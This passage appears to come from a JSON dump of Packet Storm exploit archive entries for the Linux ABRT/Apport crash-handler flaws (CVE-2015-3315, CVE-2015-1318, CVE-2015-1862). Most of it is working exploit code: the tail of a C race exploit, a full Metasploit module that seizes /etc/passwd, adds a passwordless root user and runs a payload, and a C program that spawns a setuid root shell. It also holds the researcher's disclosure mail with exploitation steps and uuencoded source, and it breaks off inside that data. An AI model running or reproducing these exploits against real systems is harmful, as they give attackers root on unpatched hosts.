good, but doesn't mean we won, it's possible \n// chown() might have happened while the file was unlinked. \n// \n// Give it a few microseconds to run chown()...just in case \n// we did win. \nusleep(10); \n \nif (stat(argv[1], &statbuf) != 0) { \nerrx(EXIT_FAILURE, \"unable to stat target file %s\", argv[1]); \n} \n \nif (statbuf.st_uid != getuid()) { \nbreak; \n} \n \nfprintf(stderr, \"\\tExploit successful...\\n\"); \n \n// We're the new owner, run ls -l to show user. \nsprintf(command, \"ls -l %s\", argv[1]); \nsystem(command); \n \nreturn EXIT_SUCCESS; \n} \n} \n \nfprintf(stderr, \"\\tDidn't win, trying again!\\n\"); \n} \n} \n \nerr(EXIT_FAILURE, \"failed to read inotify event\"); \n} \n \n// This routine attempts to generate new abrt events. We can't just crash, \n// because abrt sanely tries to rate limit report creation, so we need a new \n// comm name for each crash. \nstatic pid_t create_abrt_events(const char *name) \n{ \nchar *newname; \nint status; \npid_t child, pid; \n \n// Create a child process to generate events. \nif ((child = fork()) != 0) \nreturn child; \n \n// Make sure we stop when parent dies. \nprctl(PR_SET_PDEATHSIG, SIGKILL); \n \nwhile (true) { \n// Choose a new unused filename \nnewname = tmpnam(0); \n \n// Make sure we're not too fast. \nusleep(kCrashDelay); \n \n// Create a new crashing subprocess. \nif ((pid = fork()) == 0) { \nif (link(name, newname) != 0) { \nerr(EXIT_FAILURE, \"failed to create a new exename\"); \n} \n \n// Execute crashing process. \nexecl(newname, newname, \"crash\", NULL); \n \n// This should always work. \nerr(EXIT_FAILURE, \"unexpected execve failure\"); \n} \n \n// Reap crashed subprocess. \nif (waitpid(pid, &status, 0) != pid) { \nerr(EXIT_FAILURE, \"waitpid failure\"); \n} \n \n// Clean up the temporary name. \nif (unlink(newname) != 0) { \nerr(EXIT_FAILURE, \"failed to clean up\"); \n} \n \n// Make sure it crashed as expected. \nif (!WIFSIGNALED(status)) { \nerrx(EXIT_FAILURE, \"something went wrong\"); \n} \n} \n \nreturn child; \n} \n \n`\n", "cvss": {"score": 5.3, "vector": "AV:LOCAL/AC:LOW/Au:UNKNOWN/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/131422/fedoraabrt-racecondition.txt"}, {"lastseen": "2018-02-17T17:02:52", "description": "", "cvss3": {}, "published": "2018-02-15T00:00:00", "type": "packetstorm", "title": "ABRT raceabrt Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-3315", "CVE-2015-1862"], "modified": "2018-02-15T00:00:00", "id": "PACKETSTORM:146411", "href": "https://packetstormsecurity.com/files/146411/ABRT-raceabrt-Privilege-Escalation.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Local \nRank = ExcellentRanking \n \ninclude Msf::Post::File \ninclude Msf::Exploit::EXE \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'ABRT raceabrt Privilege Escalation', \n'Description' => %q{ \nThis module attempts to gain root privileges on Fedora systems with \na vulnerable version of Automatic Bug Reporting Tool (ABRT) configured \nas the crash handler. \n \nA race condition allows local users to change ownership of arbitrary \nfiles (CVE-2015-3315). This module uses a symlink attack on \n'/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd, \nthen adds a new user with UID=0 GID=0 to gain root privileges. \nWinning the race could take a few minutes. \n \nThis module has been tested successfully on ABRT packaged version \n2.1.5-1.fc19 on Fedora Desktop 19 x86_64, 2.2.1-1.fc19 on Fedora Desktop \n19 x86_64 and 2.2.2-2.fc20 on Fedora Desktop 20 x86_64. \n \nFedora 21 and Red Hat 7 systems are reportedly affected, but untested. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'Tavis Ormandy', # Discovery and C exploit \n'Brendan Coles <bcoles[at]gmail.com>' # Metasploit \n], \n'DisclosureDate' => 'Apr 14 2015', \n'Platform' => [ 'linux' ], \n'Arch' => [ ARCH_X86, ARCH_X64 ], \n'SessionTypes' => [ 'shell', 'meterpreter' ], \n'Targets' => [[ 'Auto', {} ]], \n'References' => \n[ \n[ 'CVE', '2015-3315' ], \n[ 'EDB', '36747' ], \n[ 'BID', '75117' ], \n[ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ], \n[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ], \n[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ], \n[ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ], \n[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ], \n[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ], \n[ 'URL', 'https://access.redhat.com/articles/1415483' ], \n[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ], \n[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ], \n[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ] \n] \n)) \nregister_options( \n[ \nOptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]), \nOptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ]), \nOptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) \n]) \nend \n \ndef base_dir \ndatastore['WritableDir'] \nend \n \ndef timeout \ndatastore['TIMEOUT'] \nend \n \ndef check \nif cmd_exec('lsattr /etc/passwd').include? 'i' \nvprint_error 'File /etc/passwd is immutable' \nreturn CheckCode::Safe \nend \n \nkernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern' \nunless kernel_core_pattern.include? 'abrt-hook-ccpp' \nvprint_error 'System is NOT configured to use ABRT for crash reporting' \nreturn CheckCode::Safe \nend \nvprint_good 'System is configured to use ABRT for crash reporting' \n \nif cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true' \nvprint_error \"Directory '/var/spool/abrt' exists. System has been patched.\" \nreturn CheckCode::Safe \nend \nvprint_good 'System does not appear to have been patched' \n \nunless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true' \nvprint_error \"Directory '/var/tmp/abrt' does NOT exist\" \nreturn CheckCode::Safe \nend \nvprint_good \"Directory '/var/tmp/abrt' exists\" \n \nif cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive' \nvprint_error 'abrt-ccp service NOT running' \nreturn CheckCode::Safe \nend \nvprint_good 'abrt-ccpp service is running' \n \nabrt_version = cmd_exec('yum list installed abrt | grep abrt').split(/\\s+/)[1] \nunless abrt_version.blank? \nvprint_status \"System is using ABRT package version #{abrt_version}\" \nend \n \nCheckCode::Detected \nend \n \ndef upload_and_chmodx(path, data) \nprint_status \"Writing '#{path}' (#{data.size} bytes) ...\" \nrm_f path \nwrite_file path, data \ncmd_exec \"chmod +x '#{path}'\" \nregister_file_for_cleanup path \nend \n \ndef exploit \nif check != CheckCode::Detected \nfail_with Failure::NotVulnerable, 'Target is not vulnerable' \nend \n \n@chown_file = '/etc/passwd' \n \nif datastore['USERNAME'].blank? \n@username = rand_text_alpha rand(7..10) \nelse \n@username = datastore['USERNAME'] \nend \n \n# Upload Tavis Ormandy's raceabrt exploit: \n# - https://www.exploit-db.com/exploits/36747/ \n# Cross-compiled with: \n# - i486-linux-musl-cc -static raceabrt.c \npath = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt' \nfd = ::File.open path, 'rb' \nexecutable_data = fd.read fd.stat.size \nfd.close \n \nexecutable_name = \".#{rand_text_alphanumeric rand(5..10)}\" \nexecutable_path = \"#{base_dir}/#{executable_name}\" \nupload_and_chmodx executable_path, executable_data \n \n# Change working directory to base_dir \ncmd_exec \"cd '#{base_dir}'\" \n \n# Launch raceabrt executable \nprint_status \"Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ...\" \noutput = cmd_exec \"#{executable_path} #{@chown_file}\", nil, timeout \noutput.each_line { |line| vprint_status line.chomp } \n \n# Check if we own /etc/passwd \nunless cmd_exec(\"[ -w #{@chown_file} ] && echo true\").include? 'true' \nfail_with Failure::Unknown, \"Failed to own '#{@chown_file}'\" \nend \n \nprint_good \"Success! '#{@chown_file}' is writable\" \n \n# Add new user with no password \nprint_status \"Adding #{@username} user to #{@chown_file} ...\" \ncmd_exec \"echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}\" \n \n# Upload payload executable \npayload_path = \"#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}\" \nupload_and_chmodx payload_path, generate_payload_exe \n \n# Execute payload executable \nvprint_status 'Executing payload...' \ncmd_exec \"/bin/bash -c \\\"echo #{payload_path} | su - #{@username}&\\\"\" \nend \n \ndef on_new_session(session) \nif session.type.to_s.eql? 'meterpreter' \nsession.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' \nend \n \n# Reinstate /etc/passwd root ownership and remove new user \nroot_owns_passwd = false \nnew_user_removed = false \n \nif session.type.to_s.eql? 'meterpreter' \n# Reinstate /etc/passwd root ownership \nsession.sys.process.execute '/bin/sh', \"-c \\\"chown root:root #{@chown_file}\\\"\" \n \n# Remove new user \nsession.sys.process.execute '/bin/sh', \"-c \\\"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\\\"\" \n \n# Wait for clean up \nRex.sleep 5 \n \n# Check root ownership \npasswd_stat = session.fs.file.stat(@chown_file).stathash \nif passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0 \nroot_owns_passwd = true \nend \n \n# Check for new user in /etc/passwd \npasswd_contents = session.fs.file.open(@chown_file).read.to_s \nunless passwd_contents.include? \"#{@username}:\" \nnew_user_removed = true \nend \nelsif session.type.to_s.eql? 'shell' \n# Reinstate /etc/passwd root ownership \nsession.shell_command_token \"chown root:root #{@chown_file}\" \n \n# Remove new user \nsession.shell_command_token \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\" \n \n# Check root ownership \npasswd_owner = session.shell_command_token \"ls -l #{@chown_file}\" \nif passwd_owner.to_s.include? 'root' \nroot_owns_passwd = true \nend \n \n# Check for new user in /etc/passwd \npasswd_user = session.shell_command_token \"grep '#{@username}:' #{@chown_file}\" \nunless passwd_user.to_s.include? \"#{@username}:\" \nnew_user_removed = true \nend \nend \n \nunless root_owns_passwd \nprint_warning \"Could not reinstate root ownership of #{@chown_file}\" \nend \n \nunless new_user_removed \nprint_warning \"Could not remove user '#{@username}' from #{@chown_file}\" \nend \nrescue => e \nprint_error \"Error during cleanup: #{e.message}\" \nensure \nsuper \nend \nend \n`\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/146411/abrt_raceabrt_priv_esc.rb.txt"}, {"lastseen": "2016-12-05T22:17:18", "description": "", "cvss3": {}, "published": "2015-04-15T00:00:00", "type": "packetstorm", "title": "Linux Apport/Abrt Local Root Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-1318", "CVE-2015-1862"], "modified": "2015-04-15T00:00:00", "id": "PACKETSTORM:131423", "href": "https://packetstormsecurity.com/files/131423/Linux-Apport-Abrt-Local-Root-Exploit.html", "sourceData": "`#define _GNU_SOURCE \n#include <stdio.h> \n#include <unistd.h> \n#include <stdlib.h> \n#include <fcntl.h> \n#include <signal.h> \n#include <elf.h> \n#include <err.h> \n#include <syslog.h> \n#include <sched.h> \n#include <linux/sched.h> \n#include <sys/types.h> \n#include <sys/stat.h> \n#include <sys/auxv.h> \n#include <sys/wait.h> \n \n# warning this file must be compiled with -static \n \n// \n// Apport/Abrt Vulnerability Demo Exploit. \n// \n// Apport: CVE-2015-1318 \n// Abrt: CVE-2015-1862 \n// \n// -- taviso@cmpxchg8b.com, April 2015. \n// \n// $ gcc -static newpid.c \n// $ ./a.out \n// uid=0(root) gid=0(root) groups=0(root) \n// sh-4.3# exit \n// exit \n// \n// Hint: To get libc.a, \n// yum install glibc-static or apt-get install libc6-dev \n// \n \nint main(int argc, char **argv) \n{ \nint status; \nElf32_Phdr *hdr; \npid_t wrapper; \npid_t init; \npid_t subprocess; \nunsigned i; \n \n// Verify this is a static executable by checking the program headers for a \n// dynamic segment. Originally I thought just checking AT_BASE would work, \n// but that isnt reliable across many kernels. \nhdr = (void *) getauxval(AT_PHDR); \n \n// If we find any PT_DYNAMIC, then this is probably not a static binary. \nfor (i = 0; i < getauxval(AT_PHNUM); i++) { \nif (hdr[i].p_type == PT_DYNAMIC) { \nerrx(EXIT_FAILURE, \"you *must* compile with -static\"); \n} \n} \n \n// If execution reached here, it looks like we're a static executable. If \n// I'm root, then we've convinced the core handler to run us, so create a \n// setuid root executable that can be used outside the chroot. \nif (getuid() == 0) { \nif (chown(\"sh\", 0, 0) != 0) \nexit(EXIT_FAILURE); \n \nif (chmod(\"sh\", 04755) != 0) \nexit(EXIT_FAILURE); \n \nreturn EXIT_SUCCESS; \n} \n \n// If I'm not root, but euid is 0, then the exploit worked and we can spawn \n// a shell and cleanup. \nif (setuid(0) == 0) { \nsystem(\"id\"); \nsystem(\"rm -rf exploit\"); \nexeclp(\"sh\", \"sh\", NULL); \n \n// Something went wrong. \nerr(EXIT_FAILURE, \"failed to spawn root shell, but exploit worked\"); \n} \n \n// It looks like the exploit hasn't run yet, so create a chroot. \nif (mkdir(\"exploit\", 0755) != 0 \n|| mkdir(\"exploit/usr\", 0755) != 0 \n|| mkdir(\"exploit/usr/share\", 0755) != 0 \n|| mkdir(\"exploit/usr/share/apport\", 0755) != 0 \n|| mkdir(\"exploit/usr/libexec\", 0755) != 0) { \nerr(EXIT_FAILURE, \"failed to create chroot directory\"); \n} \n \n// Create links to the exploit locations we need. \nif (link(*argv, \"exploit/sh\") != 0 \n|| link(*argv, \"exploit/usr/share/apport/apport\") != 0 // Ubuntu \n|| link(*argv, \"exploit/usr/libexec/abrt-hook-ccpp\") != 0) { // Fedora \nerr(EXIT_FAILURE, \"failed to create required hard links\"); \n} \n \n// Create a subprocess so we don't enter the new namespace. \nif ((wrapper = fork()) == 0) { \n \n// In the child process, create a new pid and user ns. The pid \n// namespace is only needed on Ubuntu, because they check for %P != %p \n// in their core handler. On Fedora, just a user ns is sufficient. \nif (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0) \nerr(EXIT_FAILURE, \"failed to create new namespace\"); \n \n// Create a process in the new namespace. \nif ((init = fork()) == 0) { \n \n// Init (pid 1) signal handling is special, so make a subprocess to \n// handle the traps. \nif ((subprocess = fork()) == 0) { \n// Change /proc/self/root, which we can do as we're privileged \n// within the new namepace. \nif (chroot(\"exploit\") != 0) { \nerr(EXIT_FAILURE, \"chroot didnt work\"); \n} \n \n// Now trap to get the core handler invoked. \n__builtin_trap(); \n \n// Shouldn't happen, unless user is ptracing us or something. \nerr(EXIT_FAILURE, \"coredump failed, were you ptracing?\"); \n} \n \n// If the subprocess exited with an abnormal signal, then everything worked. \nif (waitpid(subprocess, &status, 0) == subprocess) \nreturn WIFSIGNALED(status) \n? EXIT_SUCCESS \n: EXIT_FAILURE; \n \n// Something didn't work. \nreturn EXIT_FAILURE; \n} \n \n// The new namespace didn't work. \nif (waitpid(init, &status, 0) == init) \nreturn WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS \n? EXIT_SUCCESS \n: EXIT_FAILURE; \n \n// Waitpid failure. \nreturn EXIT_FAILURE; \n} \n \n// If the subprocess returned sccess, the exploit probably worked, reload \n// with euid zero. \nif (waitpid(wrapper, &status, 0) == wrapper) { \n// All done, spawn root shell. \nif (WIFEXITED(status) && WEXITSTATUS(status) == 0) { \nexecl(*argv, \"w00t\", NULL); \n} \n} \n \n// Unknown error. \nerrx(EXIT_FAILURE, \"unexpected result, cannot continue\"); \n} \n \n`\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/131423/apportabrt-exec.txt"}, {"lastseen": "2016-12-05T22:17:16", "description": "", "cvss3": {}, "published": "2015-04-15T00:00:00", "type": "packetstorm", "title": "Abrt / Apport Race Condition / Symlink", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-1318", "CVE-2015-1862"], "modified": "2015-04-15T00:00:00", "id": "PACKETSTORM:131429", "href": "https://packetstormsecurity.com/files/131429/Abrt-Apport-Race-Condition-Symlink.html", "sourceData": "`Hello, this is CVE-2015-1318 and CVE-2015-1862 (essentially the same bugs in \ntwo different implementations, apport and abrt respectively). These were \ndiscussed on the vendors list last week. \n \nIf the first character of kern.core_pattern sysctl is a pipe, the kernel \nwill invoke the specified program, and pass it the core on stdin. Apport \n(Ubuntu) and Abrt (Fedora) use this feature to analyze and log crashes. \n \nSince the introduction of containers, Abrt and Apport have attempted to \ntransparently handle namespaces by chrooting into the same root as the \ncrashing program [1] [2]. Unfortunately, this is incorrect because root \ncannot safely execve() after a chroot into a user specified directory. \n \nFurthermore, Abrt suffers from numerous race conditions and symlink problems \nfrom trusting unprivileged programs. For example, the code below (and lots \nof similar code) is vulnerable to a filesystem race where a user unlinks the \nfile after the copy but before the chown. \n \nhttps://github.com/abrt/abrt/blob/master/src/hooks/abrt-hook-ccpp.c#L634 \n \nstrcpy(source_filename + source_base_ofs, \"maps\"); \nstrcpy(dest_base, FILENAME_MAPS); \ncopy_file(source_filename, dest_filename, DEFAULT_DUMP_DIR_MODE); \nIGNORE_RESULT(chown(dest_filename, dd->dd_uid, dd->dd_gid)); \n \nThis code trusts various symlinks in /tmp without validation: \n \nhttps://github.com/abrt/abrt/blob/master/src/hooks/abrt-hook-ccpp.c#L806 \n \nchar *java_log = xasprintf(\"/tmp/jvm-%lu/hs_error.log\", (long)pid); \nint src_fd = open(java_log, O_RDONLY); \nfree(java_log); \n \nThis code trusts the /proc/pid/exe symlink, even though it is possible to \nlink it anywhere you want. \n \nhttps://github.com/abrt/abrt/blob/master/src/hooks/abrt-hook-ccpp.c#L368 \n \nsprintf(buf, \"/proc/%lu/exe\", (long)pid); \nint src_fd_binary = open(buf, O_RDONLY); /* might fail and \nreturn -1, it's ok */ \n \nThis code trusts the attacker controlled root symlink and copies files from \nit. \n \nhttps://github.com/abrt/libreport/blob/master/src/lib/dump_dir.c#L671 \n \nif (chroot_dir) \ncopy_file_from_chroot(dd, FILENAME_OS_INFO_IN_ROOTDIR, \nchroot_dir, \"/etc/os-release\"); \n \nThis instructs librpm to trust an unprivileged root symlink: \n \nhttps://github.com/abrt/abrt/blob/master/src/daemon/rpm.c#L184 \n \nif (rpmtsSetRootDir(*ts, rootdir_or_NULL) != 0) \n{ \nrpmtsFree(*ts); \nreturn -1; \n} \n \nAnd so on. \n \nThere are other automatic crash analysis scripts, I believe systemd also has \none - I haven't looked at it all. \n \nWORKAROUND \n \nI highly recommend setting `sysctl -w kern.core_pattern=core`. \n \nEXPLOITATION \n \nTwo demonstration exploits are attached. \n \nThe file `newpid.c` should produce a root shell on Fedora 20 or Ubuntu by \ninvoking the crash handler inside an unprivileged chroot (possible since \nkernel 3.8). \n \n$ gcc -static newpid.c \n$ ./a.out \nuid=0(root) gid=0(root) groups=0(root) \nsh-4.3# exit \nexit \n \nThe file `raceabrt.c` should make you the owner of any file on Fedora by \nracing the Abrt report creation. \n \n$ cat /etc/fedora-release \nFedora release 21 (Twenty One) \n$ ./a.out /etc/passwd \nDetected ccpp-2015-04-13-17:40:31-5506.new, attempting to race... \n[ wait a few minutes ] \nexploit successful... \n-rw-r--r--. 1 taviso abrt 2421 Apr 13 11:15 /etc/passwd \n \nIn case it isn't obvious, you can then give yourself uid zero. \n \n$ getent passwd taviso \ntaviso:x:1000:1000:Tavis Ormandy:/home/taviso:/bin/bash \n$ vi /etc/passwd \n$ getent passwd taviso \ntaviso:x:0:0:Tavis Ormandy:/home/taviso:/bin/bash \n$ su taviso \nPassword: \n# id \nuid=0(root) gid=0(root) groups=0(root) \nexit \n \nREFERENCES \n \n[1] https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893 \n[2] https://github.com/abrt/abrt/pull/810 \n[3] http://man7.org/linux/man-pages/man7/user_namespaces.7.html \n \nCREDIT \n \nTavis Ormandy, Google Project Zero. \n \n \nbegin 644 newpid.c \nM(V1E9FEN92!?1TY57U-/55)#10HC:6YC;'5D92`\\<W1D:6\\N:#X*(VEN8VQU \nM9&4@/'5N:7-T9\"YH/@HC:6YC;'5D92`\\<W1D;&EB+F@^\"B-I;F-L=61E(#QF \nM8VYT;\"YH/@HC:6YC;'5D92`\\<VEG;F%L+F@^\"B-I;F-L=61E(#QE;&8N:#X* \nM(VEN8VQU9&4@/&5R<BYH/@HC:6YC;'5D92`\\<WES;&]G+F@^\"B-I;F-L=61E \nM(#QS8VAE9\"YH/@HC:6YC;'5D92`\\;&EN=7@O<V-H960N:#X*(VEN8VQU9&4@ \nM/'-Y<R]T>7!E<RYH/@HC:6YC;'5D92`\\<WES+W-T870N:#X*(VEN8VQU9&4@ \nM/'-Y<R]A=7AV+F@^\"B-I;F-L=61E(#QS>7,O=V%I=\"YH/@H*(R!W87)N:6YG \nM('1H:7,@9FEL92!M=7-T(&)E(&-O;7!I;&5D('=I=&@@+7-T871I8PH*+R\\* \nM+R\\@07!P;W)T+T%B<G0@5G5L;F5R86)I;&ET>2!$96UO($5X<&QO:70N\"B\\O \nM\"B\\O(\"!!<'!O<G0Z($-612TR,#$U+3$S,3@*+R\\@($%B<G0Z(\"`@0U9%+3(P \nM,34M,3@V,@HO+R`*+R\\@(\"`M+2!T879I<V]`8VUP>&-H9SAB+F-O;2P@07!R \nM:6P@,C`Q-2X*+R\\*+R\\@)\"!G8V,@+7-T871I8R!N97=P:60N8PHO+R`D(\"XO \nM82YO=70*+R\\@=6ED/3`H<F]O=\"D@9VED/3`H<F]O=\"D@9W)O=7!S/3`H<F]O \nM=\"D*+R\\@<V@M-\"XS(R!E>&ET\"B\\O(&5X:70*+R\\*+R\\@2&EN=#H@5&\\@9V5T \nM(&QI8F,N82P*+R\\@('EU;2!I;G-T86QL(&=L:6)C+7-T871I8R!O<B!A<'0M \nM9V5T(&EN<W1A;&P@;&EB8S8M9&5V\"B\\O\"@II;G0@;6%I;BAI;G0@87)G8RP@ \nM8VAA<B`J*F%R9W8I\"GL*(\"`@(&EN=\"!S=&%T=7,[\"B`@(\"!%;&8S,E]0:&1R \nM(\"IH9'([\"B`@(\"!P:61?=\"!W<F%P<&5R.PH@(\"`@<&ED7W0@:6YI=#L*(\"`@ \nM('!I9%]T('-U8G!R;V-E<W,[\"B`@(\"!U;G-I9VYE9\"!I.PH*(\"`@(\"\\O(%9E \nM<FEF>2!T:&ES(&ES(&$@<W1A=&EC(&5X96-U=&%B;&4@8GD@8VAE8VMI;F<@ \nM=&AE('!R;V=R86T@:&5A9&5R<R!F;W(@80H@(\"`@+R\\@9'EN86UI8R!S96=M \nM96YT+B!/<FEG:6YA;&QY($D@=&AO=6=H=\"!J=7-T(&-H96-K:6YG($%47T)! \nM4T4@=V]U;&0@=V]R:RP*(\"`@(\"\\O(&)U=\"!T:&%T(&ES;G0@<F5L:6%B;&4@ \nM86-R;W-S(&UA;GD@:V5R;F5L<RX*(\"`@(&AD<B`](\"AV;VED(\"HI(&=E=&%U \nM>'9A;\"A!5%]02$12*3L*\"B`@(\"`O+R!)9B!W92!F:6YD(&%N>2!05%]$64Y! \nM34E#+\"!T:&5N('1H:7,@:7,@<')O8F%B;'D@;F]T(&$@<W1A=&EC(&)I;F%R \nM>2X*(\"`@(&9O<B`H:2`](#`[(&D@/\"!G971A=7AV86PH051?4$A.54TI.R!I \nM*RLI('L*(\"`@(\"`@(\"!I9B`H:&1R6VE=+G!?='EP92`]/2!05%]$64Y!34E# \nM*2![\"B`@(\"`@(\"`@(\"`@(&5R<G@H15A)5%]&04E,55)%+\"`B>6]U(\"IM=7-T \nM*B!C;VUP:6QE('=I=&@@+7-T871I8R(I.PH@(\"`@(\"`@('T*(\"`@('T*\"B`@ \nM(\"`O+R!)9B!E>&5C=71I;VX@<F5A8VAE9\"!H97)E+\"!I=\"!L;V]K<R!L:6ME \nM('=E)W)E(&$@<W1A=&EC(&5X96-U=&%B;&4N($EF\"B`@(\"`O+R!))VT@<F]O \nM=\"P@=&AE;B!W92=V92!C;VYV:6YC960@=&AE(&-O<F4@:&%N9&QE<B!T;R!R \nM=6X@=7,L('-O(&-R96%T92!A\"B`@(\"`O+R!S971U:60@<F]O=\"!E>&5C=71A \nM8FQE('1H870@8V%N(&)E('5S960@;W5T<VED92!T:&4@8VAR;V]T+@H@(\"`@ \nM:68@*&=E='5I9\"@I(#T](#`I('L*(\"`@(\"`@(\"!I9B`H8VAO=VXH(G-H(BP@ \nM,\"P@,\"D@(3T@,\"D*(\"`@(\"`@(\"`@(\"`@97AI=\"A%6$E47T9!24Q54D4I.PH* \nM(\"`@(\"`@(\"!I9B`H8VAM;V0H(G-H(BP@,#0W-34I(\"$](#`I\"B`@(\"`@(\"`@ \nM(\"`@(&5X:70H15A)5%]&04E,55)%*3L*\"B`@(\"`@(\"`@<F5T=7)N($58251? \nM4U5#0T534SL*(\"`@('T*\"B`@(\"`O+R!)9B!))VT@;F]T(')O;W0L(&)U=\"!E \nM=6ED(&ES(#`L('1H96X@=&AE(&5X<&QO:70@=V]R:V5D(&%N9\"!W92!C86X@ \nM<W!A=VX*(\"`@(\"\\O(&$@<VAE;&P@86YD(&-L96%N=7`N\"B`@(\"!I9B`H<V5T \nM=6ED*#`I(#T](#`I('L*(\"`@(\"`@(\"!S>7-T96TH(FED(BD[\"B`@(\"`@(\"`@ \nM<WES=&5M*\")R;2`M<F8@97AP;&]I=\"(I.PH@(\"`@(\"`@(&5X96-L<\"@B<V@B \nM+\"`B<V@B+\"!.54Q,*3L*\"B`@(\"`@(\"`@+R\\@4V]M971H:6YG('=E;G0@=W)O \nM;F<N\"B`@(\"`@(\"`@97)R*$58251?1D%)3%5212P@(F9A:6QE9\"!T;R!S<&%W \nM;B!R;V]T('-H96QL+\"!B=70@97AP;&]I=\"!W;W)K960B*3L*(\"`@('T*\"B`@ \nM(\"`O+R!)=\"!L;V]K<R!L:6ME('1H92!E>'!L;VET(&AA<VXG=\"!R=6X@>65T \nM+\"!S;R!C<F5A=&4@82!C:')O;W0N\"B`@(\"!I9B`H;6MD:7(H(F5X<&QO:70B \nM+\"`P-S4U*2`A/2`P\"B`@(\"`@?'P@;6MD:7(H(F5X<&QO:70O=7-R(BP@,#<U \nM-2D@(3T@,`H@(\"`@('Q\\(&UK9&ER*\")E>'!L;VET+W5S<B]S:&%R92(L(#`W \nM-34I(\"$](#`*(\"`@(\"!\\?\"!M:V1I<B@B97AP;&]I=\"]U<W(O<VAA<F4O87!P \nM;W)T(BP@,#<U-2D@(3T@,`H@(\"`@('Q\\(&UK9&ER*\")E>'!L;VET+W5S<B]L \nM:6)E>&5C(BP@,#<U-2D@(3T@,\"D@>PH@(\"`@(\"`@(&5R<BA%6$E47T9!24Q5 \nM4D4L(\")F86EL960@=&\\@8W)E871E(&-H<F]O=\"!D:7)E8W1O<GDB*3L*(\"`@ \nM('T*\"B`@(\"`O+R!#<F5A=&4@;&EN:W,@=&\\@=&AE(&5X<&QO:70@;&]C871I \nM;VYS('=E(&YE960N\"B`@(\"!I9B`H;&EN:R@J87)G=BP@(F5X<&QO:70O<V@B \nM*2`A/2`P\"B`@(\"`@?'P@;&EN:R@J87)G=BP@(F5X<&QO:70O=7-R+W-H87)E \nM+V%P<&]R=\"]A<'!O<G0B*2`A/2`P(\"`@(\"`@(\"`O+R!58G5N='4*(\"`@(\"!\\ \nM?\"!L:6YK*\"IA<F=V+\"`B97AP;&]I=\"]U<W(O;&EB97AE8R]A8G)T+6AO;VLM \nM8V-P<\"(I(\"$](#`I('L@(\"\\O($9E9&]R80H@(\"`@(\"`@(&5R<BA%6$E47T9! \nM24Q54D4L(\")F86EL960@=&\\@8W)E871E(')E<75I<F5D(&AA<F0@;&EN:W,B \nM*3L*(\"`@('T*\"B`@(\"`O+R!#<F5A=&4@82!S=6)P<F]C97-S('-O('=E(&1O \nM;B=T(&5N=&5R('1H92!N97<@;F%M97-P86-E+@H@(\"`@:68@*\"AW<F%P<&5R \nM(#T@9F]R:R@I*2`]/2`P*2![\"@H@(\"`@(\"`@(\"\\O($EN('1H92!C:&EL9\"!P \nM<F]C97-S+\"!C<F5A=&4@82!N97<@<&ED(&%N9\"!U<V5R(&YS+B!4:&4@<&ED \nM\"B`@(\"`@(\"`@+R\\@;F%M97-P86-E(&ES(&]N;'D@;F5E9&5D(&]N(%5B=6YT \nM=2P@8F5C875S92!T:&5Y(&-H96-K(&9O<B`E4\"`A/2`E<`H@(\"`@(\"`@(\"\\O \nM(&EN('1H96ER(&-O<F4@:&%N9&QE<BX@3VX@1F5D;W)A+\"!J=7-T(&$@=7-E \nM<B!N<R!I<R!S=69F:6-I96YT+@H@(\"`@(\"`@(&EF(\"AU;G-H87)E*$-,3TY% \nM7TY%5U!)1\"!\\($-,3TY%7TY%5U5315(I(\"$](#`I\"B`@(\"`@(\"`@(\"`@(&5R \nM<BA%6$E47T9!24Q54D4L(\")F86EL960@=&\\@8W)E871E(&YE=R!N86UE<W!A \nM8V4B*3L*\"B`@(\"`@(\"`@+R\\@0W)E871E(&$@<')O8V5S<R!I;B!T:&4@;F5W \nM(&YA;65S<&%C92X*(\"`@(\"`@(\"!I9B`H*&EN:70@/2!F;W)K*\"DI(#T](#`I 